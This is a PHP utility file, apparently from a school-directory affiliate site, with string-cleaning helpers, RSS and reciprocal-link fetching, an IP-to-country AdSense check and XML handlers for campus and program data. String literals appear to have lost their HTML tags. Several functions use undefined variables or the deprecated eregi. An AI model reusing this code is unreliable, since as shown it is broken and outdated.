boldPrinting ($data) { $needle = array(" web hosting"," domain name", " internet", " domain", " internet provider", " internet providers"); // use the | to make preg_replace to use multiple values $needle = join('|',$needle); // use the /i to make case insensitive and \\0 not replace th word but simply to wrap the word. $text = preg_replace("/($needle)/i","\\0",$data); return $text; } function getData($link) { $fp = fopen($link,"r") or die("Could not get RSS data."); //echo filesize($fp); $remoteContents = ""; while ($data = fread($fp, 4096)) { $remoteContents = $remoteContents .$data; } fclose($fp); //echo "

" .$remoteContents; //echo parseRemoteContents($remoteContents); return parseRemoteContents($remoteContents); } function parseRemoteContents($remoteData) { //

//

COPYRIGHT $remoteData = substr($remoteData,strpos($remoteData, "

")+11); $remoteData = substr($remoteData,0,strpos($remoteData, "

COPYRIGHT")); return boldPrinting($remoteData); } function reciprocalUrlTest() { $reciprocal_value = "http://www.printing-business-cards.net"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $reciprocal_url); curl_setopt($ch, CURLOPT_FAILONERROR, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_MAXREDIRS, 3); $res = curl_exec ($ch); curl_close ($ch); //echo $reciprocal_value; if(!eregi($reciprocal_value, $res)) { return false; //$error_msg = "We were unable to find our reciprocal link back to our site"; } return true; } function sentenceCase($name) { $pieces = explode(" ", $name); $size = count($pieces); $newname = ""; for ($i=0; $i < $size; $i++) { $pieces[$i] = strtoupper(substr($pieces[$i], 0, 1)) .strtolower(substr($pieces[$i],1)); $newname = $newname .$pieces[$i]; if($i < ($size -1 )) { $newname = $newname ." "; } } return $newname; } function spaceByDash($name) { $pieces = explode(" ", $name); $size = count($pieces); $newname = ""; for ($i=0; $i < $size; $i++) { $newname = $newname .strtolower($pieces[$i]); if($i < ($size -1 )) { $newname = $newname ."-"; } } return $newname; } function spaceByDashNoCaseChange($name) { $pieces = explode(" ", $name); $size = count($pieces); $newname = ""; for ($i=0; $i < $size; $i++) { $newname = $newname .$pieces[$i]; if($i < ($size -1 )) { $newname = $newname ."-"; } } return $newname; } function DashBySpace($name) { $pieces = explode("-", $name); $size = count($pieces); $newname = ""; for ($i=0; $i < $size; $i++) { $newname = $newname .strtolower($pieces[$i]); if($i < ($size -1 )) { $newname = $newname ." "; } } return $newname; } function spaceByUnderScore($name) { $pieces = explode(" ", $name); $size = count($pieces); $newname = ""; for ($i=0; $i < $size; $i++) { $newname = $newname .$pieces[$i]; if($i < ($size -1 )) { $newname = $newname ."_"; } } return $newname; } function htmlspecialchars_decode_php4 ($str, $quote_style = ENT_COMPAT) { return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style))); } function get65Words($str) { $out = ""; /* $pieces = explode(" ", $str); $out = ""; for($i = 0; $i < 72 ;$i++) { $out .= $pieces[$i] ." "; } */ $index1 = strpos($str, "

"); $str1 = substr($str,0,strpos($str, "

")+4); $str2 = substr($str,strpos($str, "

")+4); $str3 = substr($str2,0,strpos($str2, "

")+4); $pieces1 = explode(" ", $str1); $pieces3 = explode(" ", $str3); //echo "
" .count($pieces1) .":" .count($pieces3); $count = count($pieces1); if($count > 125){ $str1 = substr($str,0,strpos($str, "

")); $str1 = $str1 ."

"; $pieces1 = explode(" ", $str1); } for($i = 0; $i < $count ;$i++) { $out .= $pieces1[$i] ." "; } if(count($pieces1) < 65) { for($i = 0; $i < count($pieces3) ;$i++) { $out .= $pieces3[$i] ." "; } } /* $out = ""; for($i = 0; $i < 72 ;$i++) { $out .= $pieces[$i] ." "; } */ return $out; } function monthName($month) { $monthName = ""; switch($month){ case 1: return "January"; case 2: return "February"; case 3: return "March"; case 4: return "April"; case 5: return "May"; case 6: return "June"; case 7: return "July"; case 8: return "August"; case 9: return "September"; case 10: return "October"; case 11: return "November"; case 12: return "December"; } } function washArtist($rawdata) { $data = trim($rawdata); $data = str_replace(' - ','-',$data); $data = str_replace(' - ','-',$data); $data = str_replace('!','',$data); $data = str_replace(':','',$data); $data = str_replace('*','',$data); $data = str_replace('.','',$data); $data = str_replace('/','-',$data); $data = str_replace('(','',$data); $data = str_replace(')','',$data); $data = str_replace('?','',$data); $data = str_replace('+','',$data); $data = str_replace('=','',$data); $data = str_replace(',','',$data); $data = str_replace("'",'',$data); $data = str_replace('"','',$data); $data = str_replace('&','and',$data); $data = str_replace(' ',' ',$data); $data = str_replace(' ',' ',$data); $data = str_replace(' ',' ',$data); $data = str_replace(' - ','-',$data); $data = str_replace(' - ','-',$data); $data = str_replace('--','-',$data); $data = str_replace('--','-',$data); $data = str_replace('--','-',$data); $data = str_replace('--','-',$data); return strtolower($data); } function washDataNoLower($rawdata) { $data = trim($rawdata); $data = str_replace('!','',$data); $data = str_replace(':','',$data); $data = str_replace('*','',$data); $data = str_replace('.','',$data); $data = str_replace('/','',$data); $data = str_replace('(','',$data); $data = str_replace(')','',$data); $data = str_replace('?','',$data); $data = str_replace('+','',$data); $data = str_replace('=','',$data); $data = str_replace(',','',$data); $data = str_replace("'",'',$data); $data = str_replace('"','',$data); $data = str_replace('&','and',$data); $data = str_replace(' ',' ',$data); $data = str_replace(' ',' ',$data); $data = str_replace(' ',' ',$data); $data = str_replace('--','-',$data); $data = str_replace('--','-',$data); $data = str_replace('--','-',$data); $data = str_replace('--','-',$data); $data = str_replace(' - ','-',$data); $data = str_replace(' - ','-',$data); return $data; } function getWords($str,$cnt) { $out = ""; $pieces = explode(" ", $str); $out = ""; for($i = 0; $i < $cnt ;$i++) { $out .= $pieces[$i] ." "; } return $out; } class school_class { var $school_id; var $school_name; var $school_url; var $school_small_desc; var $branches = array(); function getBranchNames() { $branchCnt = count($this->branches); //echo $campusCnt; $branchNames = ""; for($i=0;$i< $branchCnt; $i++) { $branch = $this->branches[$i]; $branchNames .= $branch->branch_name; if($i < $branchCnt - 1) $branchNames .= ", "; } return $branchNames; } function getPrograms() { $branchCnt = count($this->branches); //echo $campusCnt; $programNames = ""; $progArray = array(); for($i=0;$i< $branchCnt; $i++) { $branch = $this->branches[$i]; $programList = $branch->programs; $progCnt = count($programList); for($j=0;$j< $progCnt; $j++){ $prog = $programList[$j]; //echo $prog->program_name .","; if(!in_array($prog->program_name,$progArray)) { $progArray[] = $prog->program_name; $programNames .= $prog->program_name.", "; } } } return substr($programNames,0,-2); } } class branch_class { var $branch_id; var $branch_name; var $branch_url; var $branch_state; var $branch_state_abbr; var $programs = array(); } class program_class { var $program_id; var $program_name; var $degree_id; var $degree; } function toAscii($str, $replace=array(), $delimiter='-') { setlocale(LC_ALL, 'en_US.UTF8'); if( !empty($replace) ) { $str = str_replace((array)$replace, ' ', $str); } $clean = iconv('UTF-8', 'ASCII//TRANSLIT', $str); $clean = preg_replace("/[^a-zA-Z0-9\/_|+ -]/", '', $clean); $clean = strtolower(trim($clean, '-')); $clean = preg_replace("/[\/_|+ -]+/", $delimiter, $clean); return $clean; } function commonReplace($str) { global $cityName, $stateAbbr, $stateName, $stateDash, $zipcode; $retStr = str_replace("%CITYFULLLOWER%",strtolower($cityName),$str); $retStr1 = str_replace("%CITYFULL%",$cityName,$retStr); $retStr2 = str_replace("%STATEABBR%",$stateAbbr,$retStr1); $retStr3 = str_replace("%STATEDASH%",$stateDash,$retStr2); $retStr4 = str_replace("%STATENAME%",$stateName,$retStr3); $retStr5 = str_replace("%STATENAMELOWER%",strtolower($stateName),$retStr4); $retStr6 = str_replace("%STATEABBRLOWER%",strtolower($stateAbbr),$retStr5); $retStr7 = str_replace("%ZIPCODE%",strtolower($zipcode),$retStr6); return $retStr7; } function showGoogleAdsense($ipaddr) { global $dontShowGoogleAd; $isUSACanada = 0; if($dontShowGoogleAd) return 0; $ipaddrArray = explode(".",$ipaddr); $number = 0; if(count($ipaddrArray) == 4) { $number = $ipaddrArray[0] * 256 * 256 * 256 + $ipaddrArray[1] * 256 * 256 + $ipaddrArray[2] * 256 + $ipaddrArray[3]; $number1 = 206 * 256 * 256 * 256 + 207 * 256 * 256 + 84 * 256 + 1; $db1 = c1(); $qry = "select ctry from ip_2_country where ip_from <= $number and ip_to >= $number limit 0,1"; //echo "
" .$qry; $row = f1(q1($qry)); $country = $row["ctry"]; //echo "
Country::" .$country; if($country == 'US' || $country == 'CA') { $isUSACanada = 1; } d1($db1); } return $isUSACanada; } function startElementHandler ($parser,$name,$attrib){ global $usercount; global $userdata; global $onlinecount; global $onlinedata; global $state; global $programdata; global $programcount; global $linkdata; //echo "

Start Element Handler:" .$name; switch ($name) { case $name=="CAPSULE" : { $userdata[$usercount]["TYPE"] = $attrib["TYPE"]; $userdata[$usercount]["CLIENT_ID"] = $attrib["CLIENT_ID"]; $userdata[$usercount]["CAPSULE_ID"] = $attrib["ID"]; break; } case $name=="CAMPUS" : { $state = $name; $userdata[$usercount]["CAMPUS_ID"] = $attrib["ID"]; $programcount = 0; break; } case $name=="PROGRAM" : { $state = $name; $programdata[$programcount]["ID"] = $attrib["ID"]; break; } default : {$state=$name;break;} } } function endElementHandler ($parser,$name){ global $usercount; global $userdata; global $state; $state=''; global $programdata; global $programcount; global $linkdata; //echo "

End Element handler: " .$state; if($name=="CAPSULE") { //add progrma data //echo "
Adding: " .$usercount; $userdata[$usercount]["PROGRAMS"] = $programdata; $usercount++; } else if($name == "PROGRAM") { $programcount++; } } function characterDataHandler ($parser, $data) { global $usercount; global $userdata; global $state; global $programdata; global $programcount; global $linkdata; if (!$state) {return;} if ($state=="FORM_NAME") { $userdata[$usercount]["FORM_NAME"] = $data;} if ($state=="CITY") { $userdata[$usercount]["CITY"] = $data;} if ($state=="STATE") { $userdata[$usercount]["STATE"] = $data;} if ($state=="DISTANCE") { $userdata[$usercount]["DISTANCE"] = $data;} if ($state=="FILTER") { $userdata[$usercount]["FILTER"] = $data;} if ($state=="IMAGE") { $userdata[$usercount]["IMAGE"] = $data;} if ($state=="LINK") { //echo "
Piece:" .$data; $linkdata .= trim($data); //$userdata[$usercount]["LINK"] = trim($data); //echo "
Piece:" .$userdata[$usercount]["LINK"]; } if ($state=="CAMPUS") { //echo $data; $userdata[$usercount]["LINK"] = trim($linkdata); $linkdata = ""; $userdata[$usercount]["CAMPUS"] = $data; } if ($state=="PROGRAM") { //echo $data; $programdata[$programcount]["PROGRAM"] = $data; } if ($state=="PAYOUT") { $userdata[$usercount]["PROGRAMS"] = $programdata; $userdata[$usercount]["PAYOUT"] = $data; } } class ne_school_class { var $school_id; var $school_name; var $school_img_url; var $campuses = array(); function getNECampusNames() { $campusCnt = count($this->campuses); //echo $campusCnt; $campusNames = ""; for($i=0;$i< $branchCnt; $i++) { $branch = $this->branches[$i]; $branchNames .= $branch->branch_name; if($i < $branchCnt - 1) $branchNames .= ", "; } return $branchNames; } function getNEPrograms() { $branchCnt = count($this->branches); //echo $campusCnt; $programNames = ""; $progArray = array(); for($i=0;$i< $branchCnt; $i++) { $branch = $this->branches[$i]; $programList = $branch->programs; $progCnt = count($programList); for($j=0;$j< $progCnt; $j++){ $prog = $programList[$j]; //echo $prog->program_name .","; if(!in_array($prog->program_name,$progArray)) { $progArray[] = $prog->program_name; $programNames .= $prog->program_name.", "; } } } return substr($programNames,0,-2); } } class ne_campus_class { var $campus_id; var $campus_name; var $campus_location; var $campus_city; var $campus_state; var $campus_zip; var $campus_ce_url; var $campus_cunet_url; var $campus_other_url; var $campus_source; var $aff_url; var $programs = array(); } class ne_program_class { var $program_id; var $program_name; var $discipline; var $degree_level; var $campus_online; } ?>